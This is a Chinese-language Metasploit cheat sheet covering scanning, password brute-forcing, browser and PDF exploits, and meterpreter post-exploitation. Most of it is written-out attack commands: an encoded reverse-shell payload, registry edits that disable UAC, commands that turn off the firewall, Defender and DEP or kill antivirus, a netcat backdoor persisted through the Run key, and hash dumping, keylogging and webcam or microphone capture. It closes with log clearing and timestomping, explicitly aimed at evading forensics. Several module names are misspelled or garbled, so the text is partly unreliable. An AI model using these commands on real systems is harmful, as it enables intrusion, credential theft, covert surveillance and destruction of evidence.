全称:metasploit
0*01模块介绍
/usr/share/metasploit-framework/modules
auxiliary用于各种辅助功能 比如:信息收集、枚举、指纹探测、扫描
encoders编码模块,对payload进行加密
evasion
exploits漏洞利用脚本目录
nops维持payload稳定性
payloads
post
0*02简单使用
msfupdate更新
命令msfconsole最流行的使用方式
reload_all 手动添加模块后重新加载
msfconsole -q安静启动,不显示banner信息
-r
banner小贴士以及其他信息
color 关闭颜色提示
connect-h 相当于console界面的nc
show auxiliary/exploits/payloads/encoders/nops 显示模块的信息
search关键字 可以多条件搜索
use dos/windows/smb/ms09_001_write
show 选中模块后的命令 options/advanced... edit
check 执行前检查漏洞利用back
0*03数据库
msfdb start
service postgresql start
netstat -pantu | grep 5432检查服务
db_status
db_rebuild_cache 建立缓存,提高速度
db_nmap hosts
0*04基本功能
每个模块下set /unset设置变量/取消变量 setg/unsetg设置全局/取消全局 save
run /exploit
jobs /kill 0
load/unload/loadpath 加载/卸载外部工具插件/加载自己开发的插件
show targets
session
session -l /-i 查看shell会话
route
irb
resource 指定资源文件 简化攻击模块配置 .rc文件是默认文件名
简单攻击:use 模块
show options 查看需要设置的项
set rhost 设置对方ip
set target 指定操作系统
set payload 路径/模块
set lhost 本地ip
exploit -j 注意防火墙
generate 生成payload
generate -b '\x00''\ff' 绕过坏字符
generate -s 10 生成的payload前面加10个字符实现一定绕过
generate -t python/java/c ... 以其他语言格式生成
0*05meterpreter
meterpreter 是一个更高级更隐蔽可扩展的payload
命令:
help background从meter界面来回切换msf界面
cd pwd ls/dir cat mkdir/rmdir创建删除文件夹 常用linux文件命令都可以用
lpwd 显示linux当前工作目录
run/bgrun 正常/后台运行各种脚本模块等
clearev download 清除目标系统日志/从目标主机下载文件到攻击主机 eventvwr查看windows日志
upload /usr/share/window-bainares/nc.exe c:\\windows\\system32
execute -f **.exe -i -H 执行上传工具 -f指定程序 -i进行交互 -h隐藏
getuid /getsystem /get privs/getproxy/ getpid 查看用户账号/强势获取为sys/查看当前权限/查看渗透到目标系统生成的进程 ps查看进程 migrate port 更改进程
hashdump=runpost/windows/gather/hashdump 获取hashdump
sysinfo /ps/ kill-pid / reboot/ shutdown /shell
show_mount /search-f /autoexec.bat
arp /netstat/ ipconfig /route
idletime/ resource 查看目标操作系统空闲时间
record_mic /webcam_list /webcam_snap -i 1 -v false 记录麦克风声音/列出所有摄像头/每隔一秒拍照
0*06
信息收集
db_nmap -[s v n f ....] [ip]
search arp
use auxiliary/scanner/discovery/arp_sweep
set interface rhosts shost smac thread
search portscan
use auxiliary/scanne/portscan/syn
set interface rhosts shost smac thread
ldle扫描
use auxiliary/scanne/ip/ipidseq
set rhost ip
udp扫描
use auxiliary/scanner/discovery/udp_sweep
use auxiliary/scanner/discovery/udp_probe
密码嗅探
use auxiliary/sniffer/psnuffle
支持.cap文件 pop3 imap ftp http get协议
snmp扫描
vi /etc/default/snmpd #侦听地址0.0.0.0
use auxiliary/scanner/snmp/snmp_login
use auxiliary/scanner/snmp/snmp_enum
use auxiliary/scanner/snmp/snmp_enumusers
use auxiliary/scanner/snmp/snmp_enumshares
smb扫描
use auxiliary/scanner/smb/smb_version
use auxiliary/scanner/smb/pipe_auditor
use auxiliary/scanner/smb/pipe_dcerpc_auditor
use auxiliary/scanner/smb/smb_enumshares
use auxiliary/scanner/smb/smb_enumusers
use auxiliary/scanner/smb/smb_lookupsid
ssh扫描
use auxiliary/scanner/ssh/ssh_version
use auxiliary/scanner/ssh/ssh_login 密码爆破
set userpass_file /usr/share/metasploit
/usr/share/metaspolit-framework/data/wordlists/root_userpass.txt
set verbose false
use auxiliary/scanner/ssh/ssh_login_pubkey公钥登陆
set key_file id rsa
set username root
系统补丁
use post/windows/gather/enum_patches基于已经取得session
show advanced
set verbose yes
know bug in WMI query,try migrating to another process检查失败请迁移进程
get pid
ps
migrate [port]
mssql扫描
tcp 1433/udp 1434
use auxiliary/scanner/mssql/mssql_ping
爆破mssql密码
use auxiliary/scanner/mssql/mssql_login
远程执行代码
use auxiliary/scanner/mssql/mssql_exec
set cmd net user user pass /add
FTP版本扫描
use auxiliary/scanner/ftp/ftp_version
use auxiliary/scanner/ftp/anonymons
use auxiliary/scanner/ftp/ftp_login
use auxiliary/scanner/[tab]
-display all 479 possibilities?(y or n)
VNC密码破解
use auxiliary/scanner/vnc/vcn_login
VNC无密码访问
use auxiliary/scanner/vnc/vcn_none_auth
.supported;none.free access!成功
RDP远程桌面漏洞
use auxiliary/scanner/rdp/ms12_020_check
the target is vulnerable.-->search ms12-020 搜索利用
设备后门
use auxiliary/scanner/ssh/juniper_backdoor
use auxiliary/scanner/ssh/fortinet_backdoor
vmware esxi密码爆破
use auxiliary/scanner/vmware/vmauthd_login
use auxiliary/scanner/vmware/vmauthd_enum_vms
利用web api远程开启虚拟机
use auxiliary/scanner/vmware/poweron_vm
0*07HTTP弱点扫描一
过期证书:use auxiliary/scanner/http/cert
显示目录及文件
use auxiliary/scanner/http/dir_listing
use auxiliary/scanner/http/files_dir
WebDAV Unicode编码身份验证绕过
use auxdiliary/scanner/http/dir_webdav_unicode_bypass
Tomcat管理登录
use aunalary/scanner/http/tomcat_mgr_login
基于HTTP方法的身份验证绕过
use auxliary/scanner/http:/verb_auth_bypass
- Wordpress密码爆破
use auxiliary/scanner/http/wordpress_login_enum
set URI /wordpress/wp-login.php
WMAP WEB应用扫描器
根据 SQLMAP的工作方式开发
load wmap
wmap_sites -a http://1.1.1.1
wmap_sites -l 查看已经添加的站点
wmap_targets -t http://1.1.1.1/mutillidae/index.php 指定目标
wmap_ run -t 显示哪些具体模块
wmap_ run -e 具体执行哪些模块
wmap vulns -l 查看结果
vuIns
0*08HTTP弱点扫描二
load openvas
db_import ***.nbe
msf调用nessus执行扫描
load nessus
nessus_help
nessus_connect admin:password@ip 连接
nessus_policy_list 查看配置策略
nessus_scan_new
nessus_report_list
利用 Acrobat Reader漏洞执行 payload
构造PDF文件 exploit/windows/fileformat/ adobe_utilprint
构造恶意网站: exploit/windows/ /browser/ adobe_utilpri
Meterpreter
use pnv
run post/windows/capture/keylog_recorder
利用Fash插件漏洞执行 payload
use exploit/multi/browser/adobe_flash_hacking_team_uaf
use exploit/multi/browser/adobe_flash_opaque_background_uaf
use auxiliary/server/browser_autopwn2
利用浏览器漏洞执行 payload
use exploit/windows/browser/ms14_064_ole_code_execution
0*09后渗透测试
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows LHOST=本机 LPORT=本地端口 -b "\x00" -e x86/shikata_ga_nai -i 7 -f exe -o a.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
获取system
getsystem 大多数失败,需要绕过UAC,以下需要先获得session
use exploit/windows/local/ask
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection 动态链接库dll注入或者理解为内存注入
利用漏洞直接获取system
use exploit/windows/local/ms13_053_schlamperei
use'exploit/windows/local/ms13_081_track_popup_menu
use exploit/windows/local/ms13_097_ie_registry_symlink
use exploit/windows/local/ppr_flatten_res
图形化 payload
set payload windows/vncinject/reverse_tcp
set viewonly no#可操作
hashdump
Psexec模块之 Passthehash
use exploit/windows/smb/sexes
set smbpass hash
需要提前关闭UAC
cmd.exe/k%windir%System32/reg.exe ADDHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /vEnableLUA/t REG_DWORD /d 0 /f
cmd.exe/k%windir%System32/reg.exe ADDHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /vLocalAccountTokenFilterPolicy/t REG_DWORD /d 1 /f
关闭防火墙(需要system权限)
netsh advfirewall set allprofiles state on/off
关闭windefend
net stop windefend
bitlocker磁盘加密
manage-bde -off C:
manage-bde -status C:
关闭dep
bcdedit.exe /set{current} nx AlwaysOff
杀死防病毒软件
run killav
run post/windows/manage/killav
开启远程桌面服务
run post/windows/manage/enable_rdp
run getgui-e
run getgui -u yuanfh -p pass
run multi_console_command -rc clean_up_20180824.1855.rc
查看远程桌面
screenshot
use espia
screengrab
用注册表添加NC后门服务( meterpreter)
-upload /usr/share/windows-binaries/nc. exe C:\\windowst\\system32
-reg enumkey -k 枚举当前主键下的启动
HKLM\\software\\microsoft\\windows\\currentversion\\run
-reg setval-k
HKLM\\software\\microsoft\\windows\\currentversion\\run-v nc-d
'C:windows\system32\nc.exe Ldp 444-e cmd.exe'
-reg queryval-k
HKLM\\software\\microsoft\\windows\\currentversion\\Run-v nc
打开防火墙端口( meterpreter)
-execute -f cmd -i -H 隐蔽进桌面
-netsh firewall show opmode
-netsh firewall ad portopening TCP 4444 "test" ENABLE ALL
-shutdown -r -t 0
-nc 1.1.1.1 4444
抓包( meterpreter)
load sniffer
sniffer_interfaces 查看网卡接口
sniffer_start 2 使用网卡号
sniffer_dump 2 1. cap /sniffer- dump 2 1.cap
在内存中缓存区块循环存储抓包(50000包),不写硬盘
智能过滤 meterpreter流量,传输全程使用 SSL/TLS加密
解包( meterpreter)
use auxiliary/sniffer/psnuffle
set PCAPFILE 1.cap
搜索文件( meterpreter)
-search -f *.ini
-search -d \\路径 -f *.*
john the ripper破解口令( meterpreter的system权限)
-use post/windows/gather/hashdump
-run 保存在/tmp目录
.文件系统访问会留下痕迹,电子取证重点关注
.渗透测试和攻击者往往希望销毁文件系统访问痕迹
.最好的避免被电子取证发现的方法:不要碰文件系统
-Meterpreter的先天优势所在(完全基于内存)
.MAC时间(Modified/Accessed/Changed)LINUX系统
- Is -I --time=atime/ctime 1.txt 默认是mtime
- stat 1.txt 列出mac时间
- touch -d "2 days ago" 1.txt 修改mac时间
- touch -t 1501010101 1.txt -年-月-日-时-分-秒
MACE :MFT entry WINDOWS系统
-MFT:NTFS文件系统的主文件分配表 Master File Table
-通常1024字节或2个硬盘扇区,其中存放多项enty信息
-包含文件大量信息(大小名称目录位置磁盘位置创建日期)
-更多信息可研究文件系统取证分析技术
Timestomp( meterpreter)
-timestomp -v 1.txt 显示详细时间
-timestomp -f c:\\autoexec.bat 1.txt
-b -r擦除MACE时间信息,目前此参数功失效
-m/-a/-c/-e/-z
-timestomp- z MM/DD/YYYY HH24:MI:SS" 2.txt